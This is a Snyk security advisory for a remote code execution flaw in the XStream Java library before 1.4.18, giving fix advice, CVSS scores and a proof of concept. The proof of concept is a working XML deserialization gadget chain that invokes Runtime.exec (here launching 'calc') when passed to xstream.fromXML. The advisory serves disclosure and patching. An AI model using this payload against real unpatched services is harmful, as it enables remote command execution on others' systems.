Remote Code Execution (RCE) Affecting com.thoughtworks.xstream:xstream package, versions [,1.4.18)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Mature
    EPSS
    96.68% (100th percentile)

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  • Snyk ID SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1569183
  • published 24 Aug 2021
  • disclosed 24 Aug 2021
  • credit Ceclin and YXXX

How to fix?

Upgrade com.thoughtworks.xstream:xstream to version 1.4.18 or higher.

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Remote Code Execution (RCE). This vulnerability may allow a remote attacker that has sufficient rights to execute commands on the host only by manipulating the processed input stream. No user is affected who followed the recommendation to set up XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 no longer uses a blacklist by default, since it cannot be secured for general purposes.

PoC

<java.util.PriorityQueue serialization='custom'>
  <unserializable-parents/>
  <java.util.PriorityQueue>
    <default>
      <size>2</size>
    </default>
    <int>3</int>
    <dynamic-proxy>
      <interface>java.lang.Comparable</interface>
      <handler class='sun.tracing.NullProvider'>
        <active>true</active>
        <providerType>java.lang.Comparable</providerType>
        <probes>
          <entry>
            <method>
              <class>java.lang.Comparable</class>
              <name>compareTo</name>
              <parameter-types>
                <class>java.lang.Object</class>
              </parameter-types>
            </method>
            <sun.tracing.dtrace.DTraceProbe>
              <proxy class='java.lang.Runtime'/>
              <implementing__method>
                <class>java.lang.Runtime</class>
                <name>exec</name>
                <parameter-types>
                  <class>java.lang.String</class>
                </parameter-types>
              </implementing__method>
            </sun.tracing.dtrace.DTraceProbe>
          </entry>
        </probes>
      </handler>
    </dynamic-proxy>
    <string>calc</string>
  </java.util.PriorityQueue>
</java.util.PriorityQueue>
XStream xstream = new XStream();
xstream.fromXML(xml);

CVSS Scores

version 3.1
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Snyk

Recommended
8.5 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    High
  • Privileges Required (PR)
    Low
  • User Interaction (UI)
    None
  • Scope (S)
    Changed
  • Confidentiality (C)
    High
  • Integrity (I)
    High
  • Availability (A)
    High
Expand this section

NVD

8.5 high
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SUSE

8.1 high
Expand this section

Red Hat

8.5 high